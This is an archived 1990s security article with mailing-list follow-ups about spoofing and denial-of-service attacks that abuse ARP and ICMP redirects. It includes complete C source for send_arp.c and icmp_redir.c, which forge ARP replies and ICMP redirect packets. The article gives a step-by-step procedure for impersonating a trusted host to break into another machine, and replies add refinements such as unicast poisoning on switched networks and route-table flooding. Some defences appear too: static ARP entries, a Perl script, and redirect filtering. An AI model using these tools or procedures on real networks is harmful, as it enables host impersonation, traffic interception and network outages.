home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / arp_fun.txt < prev    next >
Text File  |  1998-12-09  |  33KB  |  786 lines

  1.  
  2. [ http://www.rootshell.com/ ]
  3.  
  4.                     Playing redir games with ARP and ICMP
  5.                               by yuri volobuev
  6.  
  7.                                  [ -Intro- ]
  8.  
  9. There're bugs and there're features.  All too often the distinction between
  10. the two is in the eye of the beholder.  I'd like to show how two legitimate
  11. protocols, ARP and ICMP, while properly implemented, can be used to achieve
  12. something which is, well, not desirable.
  13.  
  14. While passive attacks (sniffing) that take advantage of the root access to
  15. LAN are extremely popular and every half-way decent root kit has some kind
  16. of a net sniffer, active attacks are not nearly as widespread.  Yet, active
  17. participation in the life of your LAN may bring lots of fun and joy.  You
  18. knew that already, it's just that technical details had been somewhat
  19. obscure.  So, let there be more light.
  20.  
  21. Possibilities outlined here include spoofing and DoS.  While other means of
  22. spoofing, such as IP blind spoofing, are more general and powerful, in terms
  23. of who can use them, they require quite a lot of (guess)work and may be hard
  24. to implement.  ARP spoofing, on contrary, is very easy and robust.
  25.  
  26. While ARP spoofing is only possible on a local network, it may be a serious
  27. concern as a way to extend an already existing security breach.  If somebody
  28. can break into one machine on a subnet, ARP spoofing can be used to
  29. compromise the rest of it.
  30.  
  31.                            [ -Background on ARP- ]
  32.  
  33. [well, originally i wrote few paragraphs outlining arp, but then i figured
  34. that if you didn't know how it works already, you'll need to learn it from a
  35. better source.  I recommend "TCP/IP Illustrated" by W.Richard Stevens.]
  36.  
  37.                            [ -What can be done- ]
  38.  
  39. Let's consider a hypothetical network
  40.  
  41. IP          10.0.0.1   10.0.0.2  10.0.0.3  10.0.0.4
  42. hostname       cat        rat       dog       bat
  43. hw addr       AA:AA      BB:BB     CC:CC     DD:DD    (for short)
  44.  
  45. all connected by Ethernet in some simple way (i.e. no switches, no smart
  46. hubs).  You're on cat, you have root and desire to break into dog.  You know
  47. that dog trusts rat, so if you can successfully spoof rat, something can be
  48. gained.
  49.  
  50. First thing that comes to mind (I think everybody was thinking about this at
  51. some point) is "why don't I set my IP to the IP of that other machine
  52. and..." That won't work, at least it won't work reliably.  If you tell
  53. Ethernet driver on cat that it's IP is 10.0.0.2, it'll start answering ARP
  54. requests to that IP.  But so will rat.  It's a pure race condition, and
  55. there's no winner.  However, you can easily be the loser, because this
  56. particular situation happens quite often when some box is misconfigured to
  57. use somebody's else's IP, so many implmentations immedeately notice that and
  58. loudly complain.  Many network traffic analyzers flag that, too.  Seeing a
  59. syslog message saying something nasty (mentioning cat's Ethernet address) on
  60. the LAN admin's console is not quite what you want.  And what you want you
  61. won't necessarily get, that is getting anything remotely close to a working
  62. connection.
  63.  
  64. This of course can be helped.  The attached program, send_arp.c, can be a
  65. useful tool.  Just as its name says, it sends an ARP packet [ARP reply, to
  66. be exact: since the protocol is stateless, reply will be happily accepted
  67. even if no one ever asked for it.  Request would do just as well, though,
  68. because of the ARP caching logic] to the net, and you can make this packet
  69. to be what you want.  What you want is an ability to specify source and
  70. target IP and hardware addresses.
  71.  
  72. First, you don't want your Ethernet driver to talk too much, and it's easy
  73. to accomplish with ifconfig -arp.  Of course, it'll need ARP info anyway, so
  74. you'll have to feed it to the kernel manually with arp(8).  The critical
  75. part is convincing your neighbours.  In the case being described here, you
  76. want dog to believe that rat's hardware address is that of cat (AA:AA), so
  77. you send ARP reply with source IP 10.0.0.2, source hw address AA:AA, target
  78. IP address 10.0.0.3 and target hardware address CC:CC.  Now, for all dog
  79. knows, rat is at AA:AA.  Cache entry would expire, of course, so it needs to
  80. be updated (request needs to be resent).  How often depends on the
  81. particular system, but every 40 sec or so should be sufficient for most
  82. cases.  Send it more often if you want, it won't hurt.
  83.  
  84. A complication here could come from an ARP caching implementation feature.
  85. Some systems (e.g. Linux) would try to update their cache entries by sending
  86. a unicast ARP request to the cached address (like your wife calling you just
  87. to make sure you're there).  Such a request can screw things up, because it
  88. could change victim's ARP entry that we just faked, so it must be prevented.
  89. This can be accomplished by feeding the "wife" system with replies so that
  90. it never has to ask for it.  Prevention is the best cure, as always.  This
  91. time, a real packet from dog to rat should be sent, it's just that cat will
  92. be sending it, not dog, but for rat there's no way to tell.  Again, doing it
  93. about every 40 sec is usually OK.
  94.  
  95. So the procedure is simple.  Bring up an alias interface, e.g. eth0:1 (or
  96. use your current one, whatever), with rat's IP and ARP on -- you need to set
  97. up some cache entries first, and it won't work on non-arp interface.  Set up
  98. a host route entry for dog through the right interface.  Set up a cache
  99. entry for dog, turn off arp, and it's all set.
  100.  
  101. Now, inject the venom with send_arp (hitting both dog and rat) and for all
  102. dog knows, you're on rat.  Just remember to keep sending those ARP packets
  103. to dog and rat.
  104.  
  105. This attack only works on the local network, of course (in general, it can
  106. reach as far as ARP packets can get, usually not too far because ARP packets
  107. are almost never routed).  But an interesting extension here is taking this
  108. outside by replacing dog's hardware address in the above plan with the
  109. router's.  If it works (I'm not sure it always will, router's ARP
  110. implementation may be tougher to fool, and since I don't want to try it on
  111. real routers, I don't know, but there's no simple reason why not) you can
  112. easily impersonate any machine on the local network to the rest of the
  113. world.  So the target machine could really be anywhere, but the machine
  114. you're impersonating must be on the same LAN.
  115.  
  116.                          [ -What else can be done- ]
  117.  
  118. Aside from spoofing, there's range of other things you can do with ARP.  The
  119. sky is really the limit here.  DoS is the most obvious application.
  120.  
  121. Feeding victim wrong hardware address is a powerful way to make it mute.
  122. You can prevent it from talking to any particular machine (and ARP cache
  123. size usually allows for the whole network to fit in, so effectively you can
  124. stop it from talking to everybody for some time).  Obvious target would be
  125. the router.  Cache poisoning again should be two-way: both the victim system
  126. and the system you don't want victim to talk to should be fed.  The simplest
  127. case would be feeding a non-existant address.  It's not the most efficient,
  128. though, as the system will quickly realize that it's talking to nobody and
  129. send out an ARP request.  Of course, your next drop of poison will nullify
  130. this, but you have to do it quite often.  A more efficient approach here is
  131. feeding the victim with the hardware address of the wrong machine, which
  132. itself is alive and well.  Again, it depends on a particular situation, but
  133. very often what happens is that victim keeps sending out packets of various
  134. types that arrive to the wrong destination, and destination system will
  135. promptly send ICMP Xxx Unreachable messages back, thus emulating a
  136. connection in some perverted way.  This pseudo-conection can easily postpone
  137. cache expiry.  On Linux, for example, pseudo-connection raises cache expiry
  138. from usual 1 min to about 10 min.  By that time, most or all TCP connections
  139. are screw up.  Could be quite annoying.  This way, one ARP packet can screw
  140. someone.
  141.  
  142. An interesting twist here is so-called "gratuitous ARP".  It's when the
  143. source and target IPs in the ARP request are the same, and it usually
  144. appears in a form of an Ethernet broadcast.  Some implementations recognize
  145. it as a special case, that of a system sending out updated information about
  146. itself to everybody, and cache that request.  This way one packet could
  147. screw up the entire network.  It must be admitted, though, that gratuitous
  148. ARP is not really defined as a part of ARP, so it's up to vendor to (not)
  149. implement it, and it's becoming increasingly less popular.
  150.  
  151. ARP is a serious tool for professional practical jokes, too.  Just imagine
  152. somebody setting up a relay, or tunnel, in a form of own machine that
  153. convinced two neighbours to send their packets intended for each other to
  154. relay's Ethernet.  If relay just forwards packets to their real
  155. destinations, no one would even notice.  However, some simple data stream
  156. modifications could have quite a spectacular effect on one's mental health.
  157. A simple, CPU-inexpensive "filter" could be swapping random two bytes at
  158. irregular long intervals.  If it hits the data portion, most of the
  159. checksums won't change, i.e. data stream would seem to be intact, yet
  160. strange and unexplicable things _will_ happen for no apparent reason.
  161.  
  162.                         [ -ICMP redirects- ]
  163.  
  164. An effect somewhat similar to ARP cache poisoning can be achieved in a
  165. different way, again using a legitimate protocol feature, ICMP route
  166. redirects.  Such a redirect is normally sent by the default router to the
  167. system to indicate that there's a shorter route to some particular
  168. destination.  Originally, both network and host route redirects were
  169. proposed, but later net redirects were deprecated and now are usually
  170. treated as host redirects.  Properly constructed ICMP packet that passes all
  171. sanity checks (it must come from the default router for the destination it's
  172. redirecting, new router should be on a directly connected network, etc.) it
  173. causes a host-route entry be added to the system routing table.
  174.  
  175. The concept is just as secure as ICMP itself, i.e. (security)NULL.  Spoofing
  176. routers IP address is simple, and attached icmp_redir.c does just that.
  177. Host Requirements RFC states that system MUST follow ICMP redirects unless
  178. it's a router.  And indeed all the systems I've tried happily accept it
  179. (except vanilla Linux 2.0.30, where it's broken, it works in 2.0.29 and
  180. 2.0.31pre9, according to Alan Cox).
  181.  
  182. ICMP redirects present a rather potent DoS.  Unlike ARP cache entries, those
  183. host routes won't expire with time.  And of course no access to local
  184. network is required, attack can be launched from anywhere.  So if the target
  185. system does accept ICMP redirects (and packets can actually reach it) that
  186. system can be stopped from talking to any particular address on the net
  187. (well, not all, but those that aren't on the same subnet with the target).
  188. Nameservers would be an obvious target.
  189.  
  190.                        [ -What can be done about it- ]
  191.  
  192. ARP is low level protocol and as such is usually hidden from normal people.
  193. LAN admins may be concerned with it at times, but if all goes well no one
  194. pays attention.  One can always inspect contents of ARP cache using arp(8),
  195. especially if there's some misterious network problem, but again it's not
  196. the first thing that comes to mind.  Even W95 has arp command, and
  197. remembering about it may be helpful in certain situations.  However, if
  198. you're the target of the attack originating from another network via gateway
  199. arp spoofing, there's no way to tell.  Similarly, host routing table could
  200. be examined to spot ICMP-generated entries (in most versions of route(1)
  201. they are marked with D letter in flags field).  Just be aware.
  202.  
  203. The above ARP attack scheme work perfectly for plain old 10Base2 Ethernet.
  204. However, if machines are interconnected in some more advanced way,
  205. particularly using some smart hubs or switches, attack can be more visible
  206. or even impossible (same goes for passive attacks).  So there's yet another
  207. reason to invest in a good piece of network equipment.  A good deal of peace
  208. of mind may just come with it.
  209.  
  210. In general, however, I personally find it rather sad that things like ICMP
  211. redirects were made a default.  First, it's often not necessary because many
  212. networks have very simple structure and there's never a need for anything in
  213. addition to usual routing table.  Second, on more sophisticated networks
  214. routing table can be just as well set manually, it's not really such a
  215. dynamic thing, so why do it via ICMP?  And finally, it's dangerous, so I
  216. would like to disable it on my systems, even though it'll make them less
  217. compliant with RFC1122.  Alas, it may not be easy.  On Linux or any other OS
  218. with sources available, I can at least hack the kernel and #define it out.
  219. On Irix 6.2 and possibly other versions one can set icmp_dropredirects=1
  220. with systune (I'm genuinely surprised to see it there, I really am).  Other
  221. OSes can be configurable, too, I have no information.
  222.  
  223. With ARP, we basically face a situation when the problem of name resolution
  224. is solved dynamically without a centralized server.  It doesn't have to be
  225. this way.  When one wants to map hostname to an IP, nameserver is queried or
  226. /etc/hosts is consulted, i.e. there's some static mapping established.  I
  227. don't see why a similar thing can't be done with ARP.  Ethernet hardware
  228. addresses don't change too often, and when they do change, it won't kill net
  229. admin to change the corresponding map.  Ethernet can be forced in no-arp
  230. mode, you just need to make sure your ARP cache has all the entries made as
  231. permanent.  As a bonus, this will reduce network traffic somewhat.  Standard
  232. procedures can be used to distribute ARP map, e.g. rdist, rsync (I would say
  233. NIS, but if you use NIS, ARP is probably not your top security concern
  234. anyway).  Old tradition of /etc/ethers can be brought back to life.  But
  235. getting a kick-ass Ethernet switch still looks better to me (paying for it
  236. does not, though).
  237.  
  238. And old wisdom still shine bright though time: don't use hostname-only based
  239. auth.  Those who do shall have no mercy from net gods.
  240.  
  241. cheers,
  242.  
  243. yuri
  244.  
  245. P.S. On Firewalls
  246.  
  247. I anticipate that many of you, having read the section about ICMP, are
  248. already flexing the fingers preparing to write a follow-up explaining that
  249. all those ICMP packets can be filtered out on the firewall, thus it's not a
  250. problem.  Please don't.  I'm well aware of the concept.  An if you feel you
  251. absolutely have to, don't cc the list needlessly.
  252.  
  253. I have to note that many people use "i have firewall, and I like it,
  254. therefore everyone else should get one or get lost" logic to argue that
  255. certain security problems are less serious because they can be effectively
  256. eliminated by putting a firewall between the protected network and
  257. Internet.  While I fully agree that having firewall is very good for
  258. security, I want to note that it's not always possible or effective.
  259.  
  260. Imagine an environment where all machines are directly connected to
  261. Internet, you have to share subnet with people you don't know who have
  262. vanilla SGI boxes screaming "hack me pleeeease, my vendor did such a great
  263. job of making it eeeeeeasy" all over the place (and sure, these people know
  264. Unix, they've seen it in Jurassic Park... and that would be about it), and
  265. the router to your subnet is controlled by a separate organization.  Welcome
  266. to a standard academic environment, where people don't use firewalls.  In
  267. fact, in some of those environments one would be useful to protect the
  268. outside world from the people on the inside.  Still, people work there, and
  269. use computers, too.  And that's where per-host security solutions are
  270. necessary, it's a jungle where every host is for itself.  So please, next
  271. time you think "firewall", remember, it's not for everyone.
  272.  
  273. CUT HERE
  274. /* send_arp.c
  275.  
  276. This program sends out one ARP packet with source/target IP and Ethernet
  277. hardware addresses suuplied by the user.  It compiles and works on Linux
  278. and will probably work on any Unix that has SOCK_PACKET.
  279.  
  280. The idea behind this program is a proof of a concept, nothing more.  It
  281. comes as is, no warranty.  However, you're allowed to use it under one
  282. condition: you must use your brain simultaneously.  If this condition is
  283. not met, you shall forget about this program and go RTFM immediately.
  284.  
  285. yuri volobuev'97
  286. volobuev@t1.chem.umn.edu
  287.  
  288. */
  289.  
  290. #include <stdio.h>
  291. #include <ctype.h>
  292. #include <stdlib.h>
  293. #include <string.h>
  294. #include <errno.h>
  295. #include <netdb.h>
  296. #include <sys/socket.h>
  297. #include <linux/in.h>
  298. #include <arpa/inet.h>
  299. #include <linux/if_ether.h>
  300.  
  301. #define ETH_HW_ADDR_LEN 6
  302. #define IP_ADDR_LEN 4
  303. #define ARP_FRAME_TYPE 0x0806
  304. #define ETHER_HW_TYPE 1
  305. #define IP_PROTO_TYPE 0x0800
  306. #define OP_ARP_REQUEST 2
  307.  
  308. #define DEFAULT_DEVICE "eth0"
  309.  
  310. char usage[]={"send_arp: sends out custom ARP packet. yuri volobuev'97\n\
  311. \tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr\n\n"};
  312.  
  313. struct arp_packet {
  314.         u_char targ_hw_addr[ETH_HW_ADDR_LEN];
  315.         u_char src_hw_addr[ETH_HW_ADDR_LEN];
  316.         u_short frame_type;
  317.         u_short hw_type;
  318.         u_short prot_type;
  319.         u_char hw_addr_size;
  320.         u_char prot_addr_size;
  321.         u_short op;
  322.         u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
  323.         u_char sndr_ip_addr[IP_ADDR_LEN];
  324.         u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
  325.         u_char rcpt_ip_addr[IP_ADDR_LEN];
  326.         u_char padding[18];
  327. };
  328.  
  329. void die(char *);
  330. void get_ip_addr(struct in_addr*,char*);
  331. void get_hw_addr(char*,char*);
  332.  
  333. int main(int argc,char** argv){
  334.  
  335. struct in_addr src_in_addr,targ_in_addr;
  336. struct arp_packet pkt;
  337. struct sockaddr sa;
  338. int sock;
  339.  
  340. if(argc != 5)die(usage);
  341.  
  342. sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
  343. if(sock<0){
  344.         perror("socket");
  345.         exit(1);
  346.         }
  347.  
  348. pkt.frame_type = htons(ARP_FRAME_TYPE);
  349. pkt.hw_type = htons(ETHER_HW_TYPE);
  350. pkt.prot_type = htons(IP_PROTO_TYPE);
  351. pkt.hw_addr_size = ETH_HW_ADDR_LEN;
  352. pkt.prot_addr_size = IP_ADDR_LEN;
  353. pkt.op=htons(OP_ARP_REQUEST);
  354.  
  355. get_hw_addr(pkt.targ_hw_addr,argv[4]);
  356. get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
  357. get_hw_addr(pkt.src_hw_addr,argv[2]);
  358. get_hw_addr(pkt.sndr_hw_addr,argv[2]);
  359.  
  360. get_ip_addr(&src_in_addr,argv[1]);
  361. get_ip_addr(&targ_in_addr,argv[3]);
  362.  
  363. memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
  364. memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);
  365.  
  366. bzero(pkt.padding,18);
  367.  
  368. strcpy(sa.sa_data,DEFAULT_DEVICE);
  369. if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
  370.         perror("sendto");
  371.         exit(1);
  372.         }
  373. exit(0);
  374. }
  375.  
  376. void die(char* str){
  377. fprintf(stderr,"%s\n",str);
  378. exit(1);
  379. }
  380.  
  381. void get_ip_addr(struct in_addr* in_addr,char* str){
  382.  
  383. struct hostent *hostp;
  384.  
  385. in_addr->s_addr=inet_addr(str);
  386. if(in_addr->s_addr == -1){
  387.         if( (hostp = gethostbyname(str)))
  388.                 bcopy(hostp->h_addr,in_addr,hostp->h_length);
  389.         else {
  390.                 fprintf(stderr,"send_arp: unknown host %s\n",str);
  391.                 exit(1);
  392.                 }
  393.         }
  394. }
  395.  
  396. void get_hw_addr(char* buf,char* str){
  397.  
  398. int i;
  399. char c,val;
  400.  
  401. for(i=0;i<ETH_HW_ADDR_LEN;i++){
  402.         if( !(c = tolower(*str++))) die("Invalid hardware address");
  403.         if(isdigit(c)) val = c-'0';
  404.         else if(c >= 'a' && c <= 'f') val = c-'a'+10;
  405.         else die("Invalid hardware address");
  406.  
  407.         *buf = val << 4;
  408.         if( !(c = tolower(*str++))) die("Invalid hardware address");
  409.         if(isdigit(c)) val = c-'0';
  410.         else if(c >= 'a' && c <= 'f') val = c-'a'+10;
  411.         else die("Invalid hardware address");
  412.  
  413.         *buf++ |= val;
  414.  
  415.         if(*str == ':')str++;
  416.         }
  417. }
  418.  
  419. CUT HERE
  420.  
  421. /* icmp_redir.c
  422.  
  423. This program sends out an ICMP host redirect packet with gateway IP supplied
  424. by user.  It was written and tested under Linux 2.0.30 and could be rather
  425. easily modified to work on most Unices.
  426.  
  427. The idea behind this program is a proof of a concept, nothing more.  It
  428. comes as is, no warranty.  However, you're allowed to use it under one
  429. condition: you must use your brain simultaneously.  If this condition is
  430. not met, you shall forget about this program and go RTFM immediately.
  431.  
  432. yuri volobuev'97
  433. volobuev@t1.chem.umn.edu
  434.  
  435. */
  436. #include <stdio.h>
  437. #include <stdlib.h>
  438. #include <string.h>
  439. #include <errno.h>
  440. #include <unistd.h>
  441. #include <netdb.h>
  442. #include <syslog.h>
  443. #include <sys/socket.h>
  444. #include <arpa/inet.h>
  445. #include <netinet/in.h>
  446. #include <netinet/ip_icmp.h>
  447. #include <netinet/ip.h>
  448.  
  449. #define IPVERSION       4
  450.  
  451. struct raw_pkt {
  452.         struct iphdr ip; /* This is Linux-style iphdr.
  453.                             Use BSD-style struct ip if you want */
  454.         struct icmphdr icmp;
  455.         struct iphdr encl_iphdr;
  456.         char encl_ip_data[8];
  457. };
  458.  
  459. struct raw_pkt* pkt;
  460.  
  461. void die(char *);
  462. unsigned long int get_ip_addr(char*);
  463. unsigned short checksum(unsigned short*,char);
  464.  
  465. int main(int argc,char** argv){
  466.  
  467. struct sockaddr_in sa;
  468. int sock,packet_len;
  469. char usage[]={"icmp_redir: send out custom ICMP host redirect packet.  \
  470. yuri volobuev'97\n\
  471. usage: icmp_redir gw_host targ_host dst_host dummy_host\n"};
  472. char on = 1;
  473.  
  474. if(argc != 5)die(usage);
  475.  
  476. if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
  477.         perror("socket");
  478.         exit(1);
  479.         }
  480.  
  481. sa.sin_addr.s_addr = get_ip_addr(argv[2]);
  482. sa.sin_family = AF_INET;
  483.  
  484. packet_len = sizeof(struct raw_pkt);
  485. pkt = calloc((size_t)1,(size_t)packet_len);
  486.  
  487. pkt->ip.version = IPVERSION;
  488. pkt->ip.ihl = sizeof(struct iphdr) >> 2;
  489. pkt->ip.tos = 0;
  490. pkt->ip.tot_len = htons(packet_len);
  491. pkt->ip.id = htons(getpid() & 0xFFFF);
  492. pkt->ip.frag_off = 0;
  493. pkt->ip.ttl = 0x40;
  494. pkt->ip.protocol = IPPROTO_ICMP;
  495. pkt->ip.check = 0;
  496. pkt->ip.saddr = get_ip_addr(argv[1]);
  497. pkt->ip.daddr = sa.sin_addr.s_addr;
  498. pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));
  499.  
  500. pkt->icmp.type = ICMP_REDIRECT;
  501. pkt->icmp.code = ICMP_REDIR_HOST;
  502. pkt->icmp.checksum = 0;
  503. pkt->icmp.un.gateway = get_ip_addr(argv[4]);
  504.  
  505. memcpy(&(pkt->encl_iphdr),pkt,sizeof(struct iphdr));
  506. pkt->encl_iphdr.protocol = IPPROTO_IP;
  507. pkt->encl_iphdr.saddr = get_ip_addr(argv[2]);
  508. pkt->encl_iphdr.daddr = get_ip_addr(argv[3]);
  509. pkt->encl_iphdr.check = 0;
  510. pkt->encl_iphdr.check = checksum((unsigned short*)&(pkt->encl_iphdr),
  511.         sizeof(struct iphdr));
  512.  
  513. pkt->icmp.checksum = checksum((unsigned short*)&(pkt->icmp),
  514.         sizeof(struct raw_pkt)-sizeof(struct iphdr));
  515.  
  516. if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
  517.         perror("setsockopt: IP_HDRINCL");
  518.         exit(1);
  519.         }
  520.  
  521. if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){
  522.         perror("sendto");
  523.         exit(1);
  524.         }
  525. exit(0);
  526. }
  527.  
  528. void die(char* str){
  529. fprintf(stderr,"%s\n",str);
  530. exit(1);
  531. }
  532.  
  533. unsigned long int get_ip_addr(char* str){
  534.  
  535. struct hostent *hostp;
  536. unsigned long int addr;
  537.  
  538. if( (addr = inet_addr(str)) == -1){
  539.         if( (hostp = gethostbyname(str)))
  540.                 return *(unsigned long int*)(hostp->h_addr);
  541.         else {
  542.                 fprintf(stderr,"unknown host %s\n",str);
  543.                 exit(1);
  544.                 }
  545.         }
  546. return addr;
  547. }
  548.  
  549. unsigned short checksum(unsigned short* addr,char len){
  550. register long sum = 0;
  551.  
  552. while(len > 1){
  553.         sum += *addr++;
  554.         len -= 2;
  555.         }
  556. if(len > 0) sum += *addr;
  557. while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);
  558.  
  559. return ~sum;
  560. }
  561.  
  562.  
  563.  
  564.  
  565.  
  566. -------------------------------------------------------------------------
  567.  
  568.  
  569. > all connected by Ethernet in some simple way (i.e. no switches, no smart
  570. > hubs).  You're on cat, you have root and desire to break into dog.  You know
  571. > that dog trusts rat, so if you can successfully spoof rat, something can be
  572. > gained.
  573.  
  574. Actually with a bit of care the arp spoofing attack you describe works
  575. through simple mac filtering devices. Not only that but a switched network
  576. allows you to make purely unicast address attacks that the monitoring
  577. station won't see as the lan admin is himself switched from your packets...
  578. See below.
  579.  
  580. > router's.  If it works (I'm not sure it always will, router's ARP
  581. > implementation may be tougher to fool, and since I don't want to try it on
  582. > real routers, I don't know, but there's no simple reason why not) you can
  583.  
  584. You can generally fool routers fairly easily too.
  585.  
  586. > from usual 1 min to about 10 min.  By that time, most or all TCP connections
  587. > are screw up.  Could be quite annoying.  This way, one ARP packet can screw
  588. > someone.
  589.  
  590. ARP is a poor choice for this IMHO. The 802.1 spanning tree algorithm used
  591. by bridges and switches to avoid loops has no protection either and this
  592. allows you to shut down entire ports when you can do MAC level attacks rather
  593. than messing around host by host.
  594.  
  595. > screw up the entire network.  It must be admitted, though, that gratuitous
  596. > ARP is not really defined as a part of ARP, so it's up to vendor to (not)
  597. > implement it, and it's becoming increasingly less popular.
  598.  
  599. Gratuitous ARP is a required part of IP mobile. It is an awkward case. The
  600. linux approach is to always honour ATF_PERM flags. That is if you create
  601. a permanent entry it will never be replaced by a learned one even temporarily.
  602. That allows security concerned people to hardcode addressing.
  603.  
  604. > Host Requirements RFC states that system MUST follow ICMP redirects unless
  605. > it's a router.  And indeed all the systems I've tried happily accept it
  606. > (except vanilla Linux 2.0.30, where it's broken, it works in 2.0.29 and
  607. > 2.0.31pre9, according to Alan Cox).
  608.  
  609. Yep. Thats simply a quirk of a bug. A Linux host (as opposed to router) will
  610. like everyone else honour ICMP redirect unless you firewall or turn them off.
  611. A router never honours them (its strictly forbidden)
  612.  
  613. > ICMP redirects present a rather potent DoS.  Unlike ARP cache entries, those
  614. > host routes won't expire with time.  And of course no access to local
  615.  
  616. No. ICMP redirect host routes expire after a few minutes. The host has to do
  617. this so that a temporary situation does not cause a permanent change. If
  618. you are lucky enough to be on a switched network with a big netmask (class B
  619. or bigger) then you can also use ICMP host redirects against many boxes to
  620. add 65000+ routes to their tables. Unixes generally eat ram and carry on as
  621. they have good routing algorithms designed to cope with the backbones. Many
  622. "desktop OS" products use linear searches for their routes.....
  623.  
  624. > The above ARP attack scheme work perfectly for plain old 10Base2 Ethernet.
  625. > However, if machines are interconnected in some more advanced way,
  626. > particularly using some smart hubs or switches, attack can be more visible
  627. > or even impossible (same goes for passive attacks).  So there's yet another
  628. > reason to invest in a good piece of network equipment.  A good deal of peace
  629. > of mind may just come with it.
  630.  
  631. A filtering hub lets you perform this attack
  632.  
  633.         ping the two hosts you wish to snoop between.
  634.  
  635.         Using the mac address you learn via arp send both a unicast arp
  636.         giving yourself as the answer for the other IP address.
  637.  
  638.         Route between the two yourself and log the frames.
  639.  
  640. Better yet, the admin on another port is filtered from your unicast frames.
  641. Nothing they can see coming out of their hub is likely to show up the attack.
  642.  
  643. > compliant with RFC1122.  Alas, it may not be easy.  On Linux or any other OS
  644. > with sources available, I can at least hack the kernel and #define it out.
  645. > On Irix 6.2 and possibly other versions one can set icmp_dropredirects=1
  646.  
  647. On Linux you can firewall icmp redirect packets specifically - ditto Im sure
  648. *BSD. That makes it a single line command option.
  649.  
  650. > permanent.  As a bonus, this will reduce network traffic somewhat.  Standard
  651. > procedures can be used to distribute ARP map, e.g. rdist, rsync (I would say
  652. > NIS, but if you use NIS, ARP is probably not your top security concern
  653. > anyway).  Old tradition of /etc/ethers can be brought back to life.  But
  654. > getting a kick-ass Ethernet switch still looks better to me (paying for it
  655. > does not, though).
  656.  
  657. You have a fundamental problem, and this is why neither IPv6 or bootp are
  658. any more secure to these forms of attack. Unless you burn keys into the roms
  659. or onto the disks of hosts by a non IP method you will never be able to set
  660. up the first secure session to learn the others - you have a problem akin
  661. to a PGP web of trust with nobody else to trust. With IPv6 you can at least
  662. theoretically implement IP-ESP (encryption headers) even on link layer
  663. "neighbour discovery" packets. In IPv6 there is local IPv6 rather than ARP
  664. thus one day we can crypt those too.
  665.  
  666.  
  667. --------------------------------------------------------------------------------
  668.  
  669.  
  670. Having anticipated such a problem already (in our envoronment, there are
  671. many lab machines which have NFS access to user disks on a server.  These
  672. machines may even be turned OFF which makes it easy for a spoofer to get
  673. in.), I wrote a short Perl script designed to be run from the system
  674. startup file.  Basically, it "primes" the ARP cache on Linux with the
  675. IP and MAC addresses of known machines, setting a flag so that they are
  676. never removed from the cache and can never be changed.
  677.  
  678. The config file format is simple -- IP address followed by MAC address,
  679. separated by whitespace.  Pound at the beginning of a line indicates
  680. comment.
  681.  
  682. This has only been tested on Linux -- people on other platforms may need
  683. to adjust the parameters to arp in the system call.
  684.  
  685. It is a quick 'n' dirty program, but works -- maybe it will be useful to
  686. somebody out there, too.
  687.  
  688. Note: you want to make sure that it is run after your network interface is
  689. brought up but before any servers or clients are started; otherwise,
  690. somebody may be able to sneak in a connection before the ARP tables are
  691. "locked".
  692.  
  693. Here's the script:
  694.  
  695. #!/usr/bin/perl
  696. # by John Goerzen <jgoerzen@cs.twsu.edu>
  697. # Program: forcehwaddr
  698. # Program to run ARP to force certain tables.
  699.  
  700. # Specify filenames to read from on command line, or read from stdin.
  701.  
  702. foreach (<>) {                  # For each input line....
  703.   chomp;                        # Strip if CR/LF
  704.   if (/^#/) { next; }           # If it's a comment, skip it.
  705.   if (((($host, $hw) = /\s*(.+?)\s+(\S+)\s*/) == 2) &&
  706.       !(/^#/)) {
  707.      # The text between the slashes parses the input line as follows:
  708.      # Ignore leading whitespace.  (\s*)
  709.      # Then, start matching and put it into $host ($host, (.+?))
  710.      # Skip over the whitespace after that (\s+)
  711.      # Start matching.  Continue matching until end of line or optional
  712.      # trailing whitespace.
  713.  
  714.      # Then, the if checks to see that both a
  715.      # host and a hardware address were matched.
  716.      # (2 matches).  If not, we skip the
  717.      # line (assuming it is blank or invalid or something).
  718.      # The second part of the if checks to see if the line starts with
  719.      # a pound sign; if so, ignore it (as a comment).
  720.  
  721.      # Otherwise, run the appropriate command:
  722.     printf("Setting IP %-15s to hardware address %s\n", $host, $hw);
  723.     system "/usr/sbin/arp -s $host $hw\n";
  724.   }
  725. }
  726.  
  727.  
  728. -------------------------------------------------------------------------
  729.  
  730.  
  731. Some systems (notably BSD variants) have the arp -f option:
  732.  
  733.      -f      Causes the file filename to be read and multiple entries to be
  734.              set in the ARP tables.  Entries in the file should be of the form
  735.  
  736.                    hostname ether_addr [temp] [pub]
  737.  
  738.              with argument meanings as given above.
  739.  
  740.  
  741. -------------------------------------------------------------------------
  742.  
  743.  
  744. Please note Yuri's original posting - unless you use the '-arp' option with
  745. ifconfig these "permanent" settings will get replaced! Also even with -arp any
  746. host that has not had the etheraddress set using arp -f or arp -s will be added
  747. to the arp cache.
  748.  
  749. This is what I found with IRIX 6.2, HP-UX or FreeBSD and I would be surprised
  750. if any other OS was very different - the "permanent" flag stays set but the
  751. etheraddress will change unless -arp has been used.
  752.  
  753. Easy to test by setting a nonesense ether for a host with arp -s and then send
  754. a ping comparing the arp cache before and after. Nothing appears in logfiles
  755. unless you have something monitoring arps such as arpwatch.
  756.  
  757.  
  758. -------------------------------------------------------------------------
  759.  
  760. I was playing around with the ICMP-redirect spoofing code from Yuri Volobuev 
  761. and I've noticed some behaviors of IP stacks that seem to limit it's 
  762. effectiveness at spoofing on a LAN. I tried it on 3 digital unix 4 boxes, 
  763. 2 Solaris 2.5 boxes, and an HPUX box, and got similair results on all of them..
  764.  
